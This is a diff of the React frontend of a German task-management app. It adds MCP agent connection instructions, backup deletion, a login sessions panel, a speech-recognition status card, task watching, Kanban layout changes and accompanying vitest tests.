+          <div className="w-7 h-7 bg-accent text-on-accent flex items-center justify-center flex-shrink-0">
+            <Bot className="w-4 h-4" />
+          </div>
+          <div>
+            <h3 className="text-sm font-bold text-main">KI-Agenten anbinden (MCP)</h3>
+            <p className="text-xs text-muted">
+              MindSift ist ein MCP-Server: Claude Code, Codex, Claude Desktop, Cursor und eigene Agenten können offene
+              Aufgaben lesen, abhaken und anlegen sowie Listen führen. Dafür braucht der Key die Agenten-Berechtigungen.
+            </p>
+          </div>
+        </div>
+
+        <div className="flex flex-wrap gap-1.5 mb-2" role="radiogroup" aria-label="Agent">
+          {(
+            [
+              ['claude', 'Claude Code'],
+              ['codex', 'OpenAI Codex'],
+              ['json', 'Claude Desktop / Cursor'],
+            ] as const
+          ).map(([value, label]) => (
+            <button
+              key={value}
+              type="button"
+              role="radio"
+              aria-checked={mcpClient === value}
+              onClick={() => setMcpClient(value)}
+              className={`h-11 sm:h-8 px-3 rounded-btn border text-xs transition-colors ${
+                mcpClient === value ? 'border-accent bg-accent/10 text-main' : 'border-border text-muted hover:text-main'
+              }`}
+            >
+              {label}
+            </button>
+          ))}
+        </div>
+        <pre className="p-3 bg-canvas border border-border font-mono text-xs text-main overflow-x-auto">{mcpSnippet}</pre>
+        <p className="mt-2 text-[11px] text-faint">
+          Werkzeuge: <code className="font-mono">list_task_lists</code>, <code className="font-mono">list_tasks</code>,{' '}
+          <code className="font-mono">complete_task</code>, <code className="font-mono">create_task</code>,{' '}
+          <code className="font-mono">update_task</code>, <code className="font-mono">list_lists</code>,{' '}
+          <code className="font-mono">get_list</code>, <code className="font-mono">add_list_item</code>,{' '}
+          <code className="font-mono">check_list_item</code>, <code className="font-mono">search</code>,{' '}
+          <code className="font-mono">capture_to_inbox</code>. Der Agent sieht nur die Werkzeuge, für die der Key
+          berechtigt ist; Freigaben gelten wie für dich selbst. ChatGPT im Browser und claude.ai brauchen OAuth und
+          werden noch nicht unterstützt.
+        </p>
+      </div>
+
       {/* Simulator */}
       <div className="pt-4 border-t border-border">
         <div className="flex items-center gap-3 mb-3">

frontend/src/features/settings/BackupAdminCard.tsx

@@ -1,5 +1,5 @@
 import React, { useEffect, useState } from 'react';
-import { Archive, Download, Loader2 } from 'lucide-react';
+import { Archive, Download, Loader2, Trash2 } from 'lucide-react';
 import { BackupFile, SystemSettings } from '../../lib/types';
 import { api } from '../../lib/api';
 import { ToggleSwitch } from '../../components/ToggleSwitch';
@@ -41,6 +41,16 @@ export const BackupAdminCard: React.FC<BackupAdminCardProps> = ({ settings, onSa
     }
   };
 
+  const remove = async (name: string) => {
+    if (!window.confirm(`Backup ${name} endgültig löschen?`)) return;
+    setError(null);
+    try {
+      setFiles(await api.adminDeleteBackup(name));
+    } catch (err: any) {
+      setError(err.message || 'Löschen fehlgeschlagen');
+    }
+  };
+
   return (
     <div className="p-4 bg-canvas border border-border rounded-card space-y-3">
       <div className="flex items-center justify-between gap-4">
@@ -109,14 +119,25 @@ export const BackupAdminCard: React.FC<BackupAdminCardProps> = ({ settings, onSa
                   {new Date(f.createdAt).toLocaleString('de-DE')} · {formatBytes(f.size)}
                 </p>
               </div>
+              <div className="flex items-center gap-1.5 shrink-0">
                 <button
                   type="button"
                   onClick={() => download(f.name)}
-                className="btn-action h-11 sm:h-7 px-2.5 text-[11px] inline-flex items-center gap-1 shrink-0"
+                  className="btn-action h-11 sm:h-7 px-2.5 text-[11px] inline-flex items-center gap-1"
                 >
                   <Download className="w-3.5 h-3.5" />
                   Download
                 </button>
+                <button
+                  type="button"
+                  onClick={() => remove(f.name)}
+                  title="Backup löschen"
+                  aria-label={`Backup ${f.name} löschen`}
+                  className="btn-action h-11 w-11 sm:h-7 sm:w-7 inline-flex items-center justify-center text-faint hover:text-status-err"
+                >
+                  <Trash2 className="w-3.5 h-3.5" />
+                </button>
+              </div>
             </div>
           ))
         )}

frontend/src/features/settings/SectionPicker.tsx

@@ -1,6 +1,6 @@
 import React from 'react';
-import { Check } from 'lucide-react';
 import { DATA_SECTIONS, DataSection } from '../../lib/types';
+import { ToggleSwitch } from '../../components/ToggleSwitch';
 
 interface SectionPickerProps {
   value: DataSection[];
@@ -8,30 +8,27 @@ interface SectionPickerProps {
   label?: string;
 }
 
-// Which parts of the own data a restore or import covers; at least one stays selected
+// Which parts of the own data a restore or import covers; one switch per section, at least one stays on
 export const SectionPicker: React.FC<SectionPickerProps> = ({ value, onChange, label = 'Bereiche' }) => (
-  <div className="flex flex-wrap items-center gap-1.5" role="group" aria-label={label}>
-    <span className="text-[11px] text-muted mr-1">{label}:</span>
+  <div role="group" aria-label={label}>
+    <p className="text-[11px] text-muted mb-1.5">{label}</p>
+    <div className="grid grid-cols-1 sm:grid-cols-2 gap-x-6 gap-y-1 border border-border rounded-card px-3 py-1.5 bg-panel">
       {DATA_SECTIONS.map((sec) => {
         const on = value.includes(sec.id);
         return (
-        <button
-          key={sec.id}
-          type="button"
-          role="checkbox"
-          aria-checked={on}
-          onClick={() => {
+          <div key={sec.id} className="flex items-center justify-between gap-3 min-h-[44px] sm:min-h-[36px]">
+            <span className="text-xs text-main">{sec.label}</span>
+            <ToggleSwitch
+              checked={on}
+              title={sec.label}
+              onChange={() => {
                 const next = on ? value.filter((v) => v !== sec.id) : [...value, sec.id];
                 if (next.length > 0) onChange(next);
               }}
-          className={`h-11 sm:h-7 px-2.5 rounded-btn border text-[11px] inline-flex items-center gap-1 transition-colors ${
-            on ? 'border-accent bg-accent/10 text-main' : 'border-border text-muted hover:text-main'
-          }`}
-        >
-          {on && <Check className="w-3 h-3 text-accent" />}
-          {sec.label}
-        </button>
+            />
+          </div>
         );
       })}
     </div>
+  </div>
 );

frontend/src/features/settings/SessionsPanel.tsx

@@ -0,0 +1,110 @@
+import { useEffect, useState } from 'react';
+import { LogOut, Monitor, Smartphone } from 'lucide-react';
+import { api } from '../../lib/api';
+import { Session } from '../../lib/types';
+
+// Rough device label from the user agent; good enough to tell one's own devices apart
+export function describeDevice(ua: string): { label: string; mobile: boolean } {
+  if (!ua) return { label: 'Unbekanntes Gerät', mobile: false };
+  if (ua.startsWith('MindSift-')) return { label: 'MindSift-Client', mobile: false };
+  const mobile = /Android|iPhone|iPad|Mobile/i.test(ua);
+  const browser = /Edg\//.test(ua)
+    ? 'Edge'
+    : /Firefox\//.test(ua)
+      ? 'Firefox'
+      : /Chrome\//.test(ua)
+        ? 'Chrome'
+        : /Safari\//.test(ua)
+          ? 'Safari'
+          : 'Browser';
+  const os = /Android/.test(ua)
+    ? 'Android'
+    : /iPhone|iPad/.test(ua)
+      ? 'iOS'
+      : /Windows/.test(ua)
+        ? 'Windows'
+        : /Mac OS X/.test(ua)
+          ? 'macOS'
+          : /Linux/.test(ua)
+            ? 'Linux'
+            : '';
+  return { label: os ? `${browser} auf ${os}` : browser, mobile };
+}
+
+function formatLastUsed(iso: string): string {
+  const d = new Date(iso);
+  if (isNaN(d.getTime())) return '';
+  const minutes = Math.round((Date.now() - d.getTime()) / 60000);
+  if (minutes < 10) return 'gerade aktiv';
+  return `zuletzt ${d.toLocaleString('de-DE', { dateStyle: 'medium', timeStyle: 'short' })}`;
+}
+
+export function SessionsPanel() {
+  const [sessions, setSessions] = useState<Session[] | null>(null);
+  const [error, setError] = useState('');
+  const [ending, setEnding] = useState('');
+
+  const load = async () => {
+    try {
+      const list = await api.listSessions();
+      setSessions([...list.filter((s) => s.current), ...list.filter((s) => !s.current)]);
+      setError('');
+    } catch (err: any) {
+      setError(err.message || 'Sitzungen konnten nicht geladen werden');
+    }
+  };
+
+  useEffect(() => {
+    void load();
+  }, []);
+
+  const endSession = async (id: string) => {
+    setEnding(id);
+    try {
+      await api.endSession(id);
+      setSessions((prev) => (prev || []).filter((s) => s.id !== id));
+    } catch (err: any) {
+      setError(err.message || 'Sitzung konnte nicht beendet werden');
+    } finally {
+      setEnding('');
+    }
+  };
+
+  if (error) return <p className="text-[11px] text-status-err">{error}</p>;
+  if (!sessions) return <p className="text-[11px] text-muted">Lade Sitzungen…</p>;
+
+  return (
+    <ul className="divide-y divide-border rounded-card border border-border bg-canvas">
+      {sessions.map((s) => {
+        const device = describeDevice(s.userAgent);
+        const Icon = device.mobile ? Smartphone : Monitor;
+        return (
+          <li key={s.id} className="flex items-center gap-3 p-3 text-xs">
+            <Icon size={16} className="text-muted shrink-0" />
+            <div className="min-w-0 flex-1">
+              <p className="font-semibold text-main truncate">
+                {device.label}
+                {s.current && <span className="ml-2 text-[10px] font-semibold text-accent">Dieses Gerät</span>}
+              </p>
+              <p className="text-[11px] text-faint truncate">
+                {[formatLastUsed(s.lastUsedAt), s.ip].filter(Boolean).join(' · ')}
+              </p>
+            </div>
+            {!s.current && (
+              <button
+                type="button"
+                onClick={() => endSession(s.id)}
+                disabled={ending === s.id}
+                title="Dieses Gerät abmelden"
+                className="btn-secondary min-h-[44px] sm:min-h-0 h-8 px-3 text-xs shrink-0 flex items-center gap-1.5 cursor-pointer"
+              >
+                <LogOut size={13} />
+                <span>{ending === s.id ? 'Melde ab…' : 'Abmelden'}</span>
+              </button>
+            )}
+          </li>
+        );
+      })}
+    </ul>
+  );
+}

frontend/src/features/settings/VoiceStatusCard.tsx

@@ -0,0 +1,189 @@
+import React, { useEffect, useRef, useState } from 'react';
+import { AlertCircle, Check, Loader2, Mic, RefreshCw, Square } from 'lucide-react';
+import { api } from '../../lib/api';
+import { VoiceAdminStatus } from '../../lib/types';
+
+const TEST_SECONDS = 6;
+
+// Admin: which speech recognition is active. Configured only by environment (STT_*), so this card
+// just shows the state and offers a short test recording through the own Whisper server.
+export const VoiceStatusCard: React.FC = () => {
+  const [info, setInfo] = useState<VoiceAdminStatus | null>(null);
+  const [loading, setLoading] = useState(false);
+  const [error, setError] = useState<string | null>(null);
+  const [recording, setRecording] = useState(false);
+  const [testing, setTesting] = useState(false);
+  const [result, setResult] = useState<{ text: string; ms: number } | null>(null);
+  const recorderRef = useRef<MediaRecorder | null>(null);
+  const stopTimerRef = useRef<number | null>(null);
+
+  const load = async () => {
+    setLoading(true);
+    try {
+      setInfo(await api.adminVoiceStatus());
+      setError(null);
+    } catch (err: any) {
+      setError(err.message || 'Status konnte nicht geladen werden');
+    } finally {
+      setLoading(false);
+    }
+  };
+
+  useEffect(() => {
+    void load();
+    return () => {
+      if (stopTimerRef.current !== null) window.clearTimeout(stopTimerRef.current);
+      recorderRef.current?.stream.getTracks().forEach((t) => t.stop());
+    };
+  }, []);
+
+  const stopRecording = () => {
+    if (stopTimerRef.current !== null) window.clearTimeout(stopTimerRef.current);
+    stopTimerRef.current = null;
+    if (recorderRef.current?.state === 'recording') recorderRef.current.stop();
+  };
+
+  const startTest = async () => {
+    setResult(null);
+    setError(null);
+    let stream: MediaStream;
+    try {
+      stream = await navigator.mediaDevices.getUserMedia({ audio: true });
+    } catch {
+      setError('Kein Zugriff auf das Mikrofon (Berechtigung, oder die Seite läuft nicht über HTTPS)');
+      return;
+    }
+    const recorder = new MediaRecorder(stream);
+    const chunks: Blob[] = [];
+    recorder.ondataavailable = (e) => {
+      if (e.data.size > 0) chunks.push(e.data);
+    };
+    recorder.onstop = async () => {
+      stream.getTracks().forEach((t) => t.stop());
+      setRecording(false);
+      setTesting(true);
+      const started = performance.now();
+      try {
+        const text = await api.transcribe(new Blob(chunks, { type: recorder.mimeType }));
+        setResult({ text, ms: Math.round(performance.now() - started) });
+      } catch (err: any) {
+        setError(err.message || 'Spracherkennung fehlgeschlagen');
+      } finally {
+        setTesting(false);
+      }
+    };
+    recorderRef.current = recorder;
+    recorder.start();
+    setRecording(true);
+    stopTimerRef.current = window.setTimeout(stopRecording, TEST_SECONDS * 1000);
+  };
+
+  const status = info?.status;
+  const serverOk = info?.mode === 'server' && status?.reachable && status?.modelReady;
+
+  return (
+    <div className="p-4 bg-canvas border border-border rounded-card space-y-3">
+      <div className="flex items-start justify-between gap-3">
+        <div>
+          <h3 className="font-bold text-main flex items-center gap-1.5">
+            <Mic className="w-4 h-4 text-accent" />
+            Spracherkennung
+          </h3>
+          <p className="text-muted mt-0.5">
+            Wird nur über Umgebungsvariablen eingestellt (<code className="font-mono">STT_URL</code>,{' '}
+            <code className="font-mono">STT_MODEL</code> …); Fehler stehen im Container-Log.
+          </p>
+        </div>
+        <button
+          type="button"
+          onClick={load}
+          disabled={loading}
+          title="Status neu prüfen"
+          className="btn-action h-11 w-11 sm:h-8 sm:w-8 flex items-center justify-center shrink-0 disabled:opacity-40"
+        >
+          <RefreshCw className="w-3.5 h-3.5" />
+        </button>
+      </div>
+
+      {info && (
+        <dl className="grid grid-cols-[auto_1fr] gap-x-4 gap-y-1 text-xs">
+          <dt className="text-muted">Aktiv</dt>
+          <dd className="text-main font-semibold">
+            {info.mode === 'server'
+              ? 'Eigener Server (Whisper)'
+              : info.mode === 'off'
+                ? 'Ausgeschaltet'
+                : info.demo && info.url
+                  ? 'Browser (in der Demo immer)'
+                  : 'Browser (Spracherkennung des Browsers)'}
+          </dd>
+          {info.url && (
+            <>
+              <dt className="text-muted">Server</dt>
+              <dd className="text-main font-mono break-all">{info.url}</dd>
+              <dt className="text-muted">Modell</dt>
+              <dd className="text-main font-mono break-all">{info.model}</dd>
+              <dt className="text-muted">Sprache</dt>
+              <dd className="text-main">{info.language || 'automatisch'}</dd>
+            </>
+          )}
+          {info.mode === 'server' && (
+            <>
+              <dt className="text-muted">Zustand</dt>
+              <dd className="flex items-center gap-1.5">
+                {serverOk ? (
+                  <span className="text-status-ok flex items-center gap-1">
+                    <Check className="w-3.5 h-3.5" /> Erreichbar, Modell geladen
+                  </span>
+                ) : (
+                  <span className="text-status-err flex items-center gap-1">
+                    <AlertCircle className="w-3.5 h-3.5" />
+                    {status?.reachable ? 'Modell fehlt noch (wird heruntergeladen)' : 'Nicht erreichbar'}
+                    {status?.error && !status.reachable ? `: ${status.error}` : ''}
+                  </span>
+                )}
+              </dd>
+              <dt className="text-muted">Grenzen</dt>
+              <dd className="text-main">
+                {Math.round(info.maxSeconds / 60)} Min. bzw. {info.maxUploadMb} MB pro Aufnahme, {info.maxParallel}{' '}
+                gleichzeitig, {info.perUserPerHour} pro Person und Stunde, {info.timeoutSeconds} s Zeitlimit
+              </dd>
+            </>
+          )}
+        </dl>
+      )}
+
+      {info?.mode === 'server' && (
+        <div className="pt-2 border-t border-border flex flex-col sm:flex-row sm:items-center gap-2">
+          {recording ? (
+            <button
+              type="button"
+              onClick={stopRecording}
+              className="btn-danger h-11 sm:h-8 px-3 text-xs flex items-center justify-center gap-1.5"
+            >
+              <Square className="w-3.5 h-3.5" /> Aufnahme beenden
+            </button>
+          ) : (
+            <button
+              type="button"
+              onClick={startTest}
+              disabled={testing}
+              className="btn-secondary h-11 sm:h-8 px-3 text-xs flex items-center justify-center gap-1.5 disabled:opacity-40"
+            >
+              {testing ? <Loader2 className="w-3.5 h-3.5 animate-spin" /> : <Mic className="w-3.5 h-3.5" />}
+              {testing ? 'Wird erkannt…' : `Testaufnahme (${TEST_SECONDS} s)`}
+            </button>
+          )}
+          {recording && <span className="text-muted">Sprich jetzt …</span>}
+          {result && (
+            <span className="text-main">
+              „{result.text || '(nichts erkannt)'}“ <span className="text-faint">· {(result.ms / 1000).toFixed(1)} s</span>
+            </span>
+          )}
+        </div>
+      )}
+
+      {error && <p className="text-status-err text-xs">{error}</p>}
+    </div>
+  );
+};

frontend/src/features/settings/__tests__/ApiKeysPanel.test.tsx

@@ -24,18 +24,27 @@ describe('ApiKeysPanel', () => {
   it('shows the scopes of existing keys as badges', async () => {
     render(<ApiKeysPanel />);
     expect(await screen.findByText('Rauchmelder')).toBeTruthy();
-    expect(screen.getAllByText('📋 Aufgaben').length).toBeGreaterThan(1); // chip + badge
+    expect(screen.getAllByText('📋 Aufgaben anlegen').length).toBeGreaterThan(1); // switch label + badge
   });
 
   it('creates a key with the chosen scopes and never without one', async () => {
     render(<ApiKeysPanel />);
-    const triage = screen.getByRole('checkbox', { name: /Triage/ });
+    const triage = screen.getByRole('switch', { name: /Triage/ });
     fireEvent.click(triage); // last remaining scope cannot be switched off
     expect(triage.getAttribute('aria-checked')).toBe('true');
-    fireEvent.click(screen.getByRole('checkbox', { name: /Listeneinträge/ }));
+    fireEvent.click(screen.getByRole('switch', { name: /Listeneinträge anlegen/ }));
     await act(async () => {
       fireEvent.click(screen.getByRole('button', { name: /API-Key erzeugen/ }));
     });
     expect(createAPIKey).toHaveBeenCalledWith('Home Assistant', ['webhook:triage', 'webhook:list']);
   });
+
+  it('offers agent scopes and shows how to connect an MCP client', async () => {
+    render(<ApiKeysPanel />);
+    fireEvent.click(screen.getByRole('switch', { name: /Aufgaben ändern/ }));
+    expect(screen.getByRole('switch', { name: /Aufgaben ändern/ }).getAttribute('aria-checked')).toBe('true');
+    expect(screen.getByText(/claude mcp add --transport http mindsift/)).toBeTruthy();
+    fireEvent.click(screen.getByRole('radio', { name: 'OpenAI Codex' }));
+    expect(screen.getByText(/\[mcp_servers\.mindsift\]/)).toBeTruthy();
+  });
 });

frontend/src/features/settings/__tests__/SectionPicker.test.tsx

@@ -0,0 +1,16 @@
+import { describe, it, expect, vi } from 'vitest';
+import { render, screen, fireEvent } from '@testing-library/react';
+import { SectionPicker } from '../SectionPicker';
+
+describe('SectionPicker', () => {
+  it('uses switches and keeps at least one section on', () => {
+    const onChange = vi.fn();
+    render(<SectionPicker value={['notes']} onChange={onChange} />);
+    const notes = screen.getByRole('switch', { name: 'Notizen' });
+    expect(notes.getAttribute('aria-checked')).toBe('true');
+    fireEvent.click(notes); // last one cannot be switched off
+    expect(onChange).not.toHaveBeenCalled();
+    fireEvent.click(screen.getByRole('switch', { name: 'Listen' }));
+    expect(onChange).toHaveBeenCalledWith(['notes', 'lists']);
+  });
+});

frontend/src/features/settings/__tests__/UserSettingsView.alarms.test.tsx

@@ -0,0 +1,142 @@
+import React from 'react';
+import { describe, it, expect, vi, beforeEach } from 'vitest';
+import { render, screen, fireEvent, waitFor } from '@testing-library/react';
+import { UserSettingsView } from '../UserSettingsView';
+import { api } from '../../../lib/api';
+import { User } from '../../../lib/types';
+
+vi.mock('../../../lib/api', async () => {
+  const actual = await vi.importActual<typeof import('../../../lib/api')>('../../../lib/api');
+  return {
+    ...actual,
+    api: {
+      ...actual.api,
+      getMe: vi.fn(async () => ({ isLastAdmin: false })),
+      getAuthStatus: vi.fn(async () => ({ demoMode: false })),
+      getPushDevices: vi.fn(async () => []),
+      updateSettings: vi.fn(async (patch) => ({ ...baseUser, ...patch })),
+    },
+  };
+});
+
+const baseUser: User = {
+  id: 'u1',
+  email: 'anna@example.com',
+  displayName: 'Anna',
+  role: 'member',
+  isActive: true,
+  alarmChannels: ['email'],
+  createdAt: '2026-10-30T00:00:00Z',
+};
+
+describe('UserSettingsView notification matrix', () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+  });
+
+  it('derives events.due from alarmChannels, disables Discord without webhook, and saves the exact notificationSettings object', async () => {
+    const onUserUpdated = vi.fn();
+    render(
+      <UserSettingsView
+        currentUser={baseUser}
+        activeTheme="dark"
+        themes={[]}
+        customThemes={[]}
+        onThemeChange={() => {}}
+        onCustomThemesChange={() => {}}
+        onUserUpdated={onUserUpdated}
+        onBack={() => {}}
+      />
+    );
+
+    // Open "Alarme" section
+    fireEvent.click(screen.getByText('Alarme'));
+
+    // Without Discord webhook, Discord switches are disabled and hint is visible
+    const discordSwitches = screen.getAllByTitle('Bitte zuerst unten eine Discord Webhook URL eintragen');
+    expect(discordSwitches.length).toBe(5);
+    expect((discordSwitches[0] as HTMLButtonElement).disabled).toBe(true);
+    expect(screen.getByText(/Discord-Schalter sind deaktiviert/)).toBeTruthy();
+
+    // Enter a Discord Webhook URL to enable the Discord column
+    fireEvent.change(screen.getByPlaceholderText(/https:\/\/discord\.com\/api\/webhooks/), {
+      target: { value: 'https://discord.com/api/webhooks/123/abc' },
+    });
+
+    // Derive check: alarmChannels=['email'] -> due.email=true, due.discord=false
+    expect(screen.getByTitle('Fällige Aufgaben (sofort) – E-Mail').getAttribute('aria-checked')).toBe('true');
+    expect(screen.getByTitle('Fällige Aufgaben (sofort) – Discord').getAttribute('aria-checked')).toBe('false');
+
+    // Toggle settings in the matrix, daily summary, and global switches
+    fireEvent.click(screen.getByTitle('Fällige Aufgaben (sofort) – Discord'));
+    fireEvent.click(screen.getByTitle('Geteilte Aufgabe erledigt – E-Mail'));
+    fireEvent.click(screen.getByTitle('Beobachtete Aufgaben – Discord'));
+    fireEvent.click(screen.getByTitle('Alle Benachrichtigungen pausieren'));
+    fireEvent.click(screen.getByTitle('Auch eigene Änderungen an beobachteten Aufgaben melden'));
+    fireEvent.click(screen.getByTitle('Tageszusammenfassung'));
+    fireEvent.change(screen.getByLabelText('Uhrzeit der Tageszusammenfassung'), {
+      target: { value: '08:30' },
+    });
+    fireEvent.click(screen.getByTitle('Tageszusammenfassung – Discord'));
+
+    fireEvent.click(screen.getByRole('button', { name: 'Alarm-Einstellungen speichern' }));
+
+    await waitFor(() => expect(api.updateSettings).toHaveBeenCalledTimes(1));
+    expect(api.updateSettings).toHaveBeenCalledWith(
+      expect.objectContaining({
+        discordWebhookUrl: 'https://discord.com/api/webhooks/123/abc',
+        notificationSettings: {
+          paused: true,
+          includeOwnWatched: true,
+          events: {
+            due: { email: true, discord: true, webhook: false, push: false },
+            shared: { email: true, discord: false, webhook: false, push: false },
+            taskDone: { email: true, discord: false, webhook: false, push: false },
+            watched: { email: true, discord: false, webhook: false, push: false },
+          },
+          dailySummary: {
+            enabled: true,
+            time: '08:30',
+            email: true,
+            discord: true,
+            webhook: false,
+            push: false,
+          },
+        },
+      })
+    );
+  });
+
+  it('enables the webhook column once an own webhook URL is entered and saves it as due channel', async () => {
+    render(
+      <UserSettingsView
+        currentUser={baseUser}
+        activeTheme="dark"
+        themes={[]}
+        customThemes={[]}
+        onThemeChange={() => {}}
+        onCustomThemesChange={() => {}}
+        onUserUpdated={() => {}}
+        onBack={() => {}}
+      />
+    );
+    fireEvent.click(screen.getByText('Alarme'));
+    const off = screen.getAllByTitle('Bitte zuerst unten eine eigene Webhook URL eintragen');
+    expect(off.length).toBe(5);
+    expect((off[0] as HTMLButtonElement).disabled).toBe(true);
+
+    fireEvent.change(screen.getByPlaceholderText(/dein-server\.local/), {
+      target: { value: 'https://hooks.example.com/mindsift' },
+    });
+    fireEvent.click(screen.getByTitle('Fällige Aufgaben (sofort) – Webhook'));
+    fireEvent.click(screen.getByTitle('Freigabe erhalten – Webhook'));
+    fireEvent.click(screen.getByRole('button', { name: 'Alarm-Einstellungen speichern' }));
+
+    await waitFor(() => expect(api.updateSettings).toHaveBeenCalledTimes(1));
+    const patch = vi.mocked(api.updateSettings).mock.calls[0][0];
+    expect(patch.customWebhookUrl).toBe('https://hooks.example.com/mindsift');
+    expect(patch.alarmChannels).toEqual(['email', 'webhook']);
+    expect(patch.notificationSettings?.events.due.webhook).toBe(true);
+    expect(patch.notificationSettings?.events.shared.webhook).toBe(true);
+  });
+});

frontend/src/features/settings/__tests__/describeDevice.test.ts

@@ -0,0 +1,24 @@
+import { describe, expect, it } from 'vitest';
+import { describeDevice } from '../SessionsPanel';
+
+describe('describeDevice', () => {
+  it('names browser and system', () => {
+    expect(
+      describeDevice('Mozilla/5.0 (X11; Linux x86_64; rv:130.0) Gecko/20100101 Firefox/130.0')
+    ).toEqual({ label: 'Firefox auf Linux', mobile: false });
+    expect(
+      describeDevice(
+        'Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1'
+      )
+    ).toEqual({ label: 'Safari auf iOS', mobile: true });
+    expect(
+      describeDevice(
+        'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0 Safari/537.36 Edg/130.0'
+      ).label
+    ).toBe('Edge auf Windows');
+  });
+
+  it('falls back for empty agents', () => {
+    expect(describeDevice('').label).toBe('Unbekanntes Gerät');
+  });
+});

frontend/src/features/triage/TaskDetailModal.tsx

@@ -15,11 +15,13 @@ import {
   Lock,
   UserPlus,
   Repeat,
+  Eye,
+  EyeOff,
 } from 'lucide-react';
 import { Thought, TaskList, TaskListMember, KanbanColumn, User, Recurrence } from '../../lib/types';
 import { UserAvatar } from '../../components/UserAvatar';
 import { UserAutocomplete } from '../UserAutocomplete';
-import { triggerHaptic } from '../../lib/api';
+import { api, triggerHaptic } from '../../lib/api';
 import { MarkdownViewer } from '../../lib/markdown';
 import { addDays, joinDue, splitDue } from '../../lib/due';
 
@@ -90,13 +92,32 @@ const TaskDetailModalContent: React.FC<TaskDetailModalProps & { task: Thought }>
 
   const [newSubtaskTitle, setNewSubtaskTitle] = useState('');
   const [newTagDraft, setNewTagDraft] = useState('');
+  const [isWatching, setIsWatching] = useState<boolean>(Boolean(task.isWatching));
+  const [watchBusy, setWatchBusy] = useState(false);
 
   useEffect(() => {
     setTitleDraft(task.content);
     setNotesDraft(task.notes || '');
     setIsEditingTitle(false);
     setIsEditingNotes(false);
-  }, [task.id]);
+    setIsWatching(Boolean(task.isWatching));
+  }, [task.id, task.isWatching]);
+
+  const handleToggleWatch = async () => {
+    if (watchBusy) return;
+    setWatchBusy(true);
+    try {
+      const res = isWatching ? await api.unwatchTask(task.id) : await api.watchTask(task.id);
+      const next = Boolean(res.watching);
+      setIsWatching(next);
+      task.isWatching = next;
+      triggerHaptic(10);
+    } catch {
+      // ignore
+    } finally {
+      setWatchBusy(false);
+    }
+  };
 
   // Handle escape key to close
   useEffect(() => {
@@ -226,6 +247,27 @@ const TaskDetailModalContent: React.FC<TaskDetailModalProps & { task: Thought }>
           </div>
 
           <div className="flex items-center gap-1.5">
+            <button
+              type="button"
+              onClick={handleToggleWatch}
+              disabled={watchBusy}
+              title={isWatching ? 'Nicht mehr beobachten' : 'Beobachten'}
+              className={`btn-action min-h-[44px] sm:min-h-0 h-11 sm:h-7 px-2.5 sm:px-2 text-xs flex items-center gap-1.5 ${
+                isWatching ? 'border-accent text-accent' : ''
+              }`}
+            >
+              {isWatching ? (
+                <>
+                  <EyeOff className="w-4 h-4 sm:w-3.5 sm:h-3.5 text-accent" />
+                  <span>Nicht mehr beobachten</span>
+                </>
+              ) : (
+                <>
+                  <Eye className="w-4 h-4 sm:w-3.5 sm:h-3.5" />
+                  <span>Beobachten</span>
+                </>
+              )}
+            </button>
             {(task.convertedType === 'document_block' || task.docId) ? (
               <button
                 type="button"

frontend/src/features/triage/TasksView.tsx

@@ -8,6 +8,8 @@ import {
   FileText,
   LayoutList,
   Columns,
+  Maximize2,
+  Minimize2,
   ArrowRight,
   ArrowLeft,
   Edit3,
@@ -28,6 +30,8 @@ import {
 } from 'lucide-react';
 import { TaskList, Thought, SubTask, Team, User, TaskListMember, KanbanColumn, PriorityLevel, Recurrence, RECURRENCE_LABELS } from '../../lib/types';
 import { formatDue, isDueToday, isOverdue, localDay, splitDue } from '../../lib/due';
+import { readViewSession, writeViewSession } from '../../lib/viewSession';
+import { useKanbanTouchDrag } from './useKanbanTouchDrag';
 import { api, triggerHaptic } from '../../lib/api';
 import { UnifiedShareModal } from '../../components/UnifiedShareModal';
 import { TaskDetailModal } from './TaskDetailModal';
@@ -37,6 +41,21 @@ import { CountBadge } from '../../components/CountBadge';
 import { FormSheet } from '../../components/FormSheet';
 import { useMobileActions } from '../../context/MobileActionContext';
 
+// Drag & drop needs a mouse or pen; on touch-only devices a draggable row can swallow a slightly
+// longer tap, so the row would not open
+const canDragTasks =
+  typeof window !== 'undefined' && !!window.matchMedia?.('(any-pointer: fine)').matches;
+
+// Rows inside a task card keep taps on their own controls; taps on empty space or plain labels
+// (due date, webhook) reach the card and open the task
+const stopOnControl = (e: React.MouseEvent) => {
+  if ((e.target as HTMLElement).closest('button, select, a, input')) e.stopPropagation();
+};
+
+// Same rule as the server's task query: a fresh Quick Dump note (status inbox) is no task yet
+const isTaskThought = (t: Thought) =>
+  t.status === 'kept' || (t.status === 'converted' && t.convertedType === 'task');
+
 interface TasksViewProps {
   currentUser?: User | null;
   onRefreshStats: () => void;
@@ -46,6 +65,26 @@ interface TasksViewProps {
   openTasksCount?: number; // all open tasks incl. shared lists (same as the nav bar counter)
 }
 
+const KANBAN_WIDE_KEY = 'mindsift:kanban_wide';
+// Wide Kanban: a column grows to at most this width, the board stays centred
+const KANBAN_COL_MAX = 380;
+const KANBAN_GAP = 12; // gap-3
+
+// Only the board leaves the page column (header and "new task" keep their width): its width follows
+// the columns (at most KANBAN_COL_MAX each, at most the window) and a margin keeps it centred – a
+// negative one when it is wider than the page column. Width and margin are animated.
+const kanbanBoardStyle = (wide: boolean, columns: number): React.CSSProperties => {
+  if (!wide) return { '--kanban-w': '100%', '--kanban-ml': '0px' } as React.CSSProperties;
+  const w = `min(100vw - 4rem, ${columns * KANBAN_COL_MAX + (columns - 1) * KANBAN_GAP}px)`;
+  return {
+    '--kanban-cols': columns,
+    '--kanban-w': w,
+    '--kanban-ml': `calc((100% - ${w}) / 2)`,
+  } as React.CSSProperties;
+};
+
+type TasksSession = { listId: string; viewMode: 'list' | 'kanban' };
+
 export const TasksView: React.FC<TasksViewProps> = ({
   currentUser,
   onRefreshStats,
@@ -54,11 +93,37 @@ export const TasksView: React.FC<TasksViewProps> = ({
   initialSelectedTaskId,
   openTasksCount,
 }) => {
-  const [viewMode, setViewMode] = useState<'list' | 'kanban'>('list');
+  // Open list and view survive switching to other tabs (like the workspace's open note)
+  const [viewMode, setViewMode] = useState<'list' | 'kanban'>(() =>
+    readViewSession<TasksSession>('tasks').viewMode === 'kanban' ? 'kanban' : 'list'
+  );
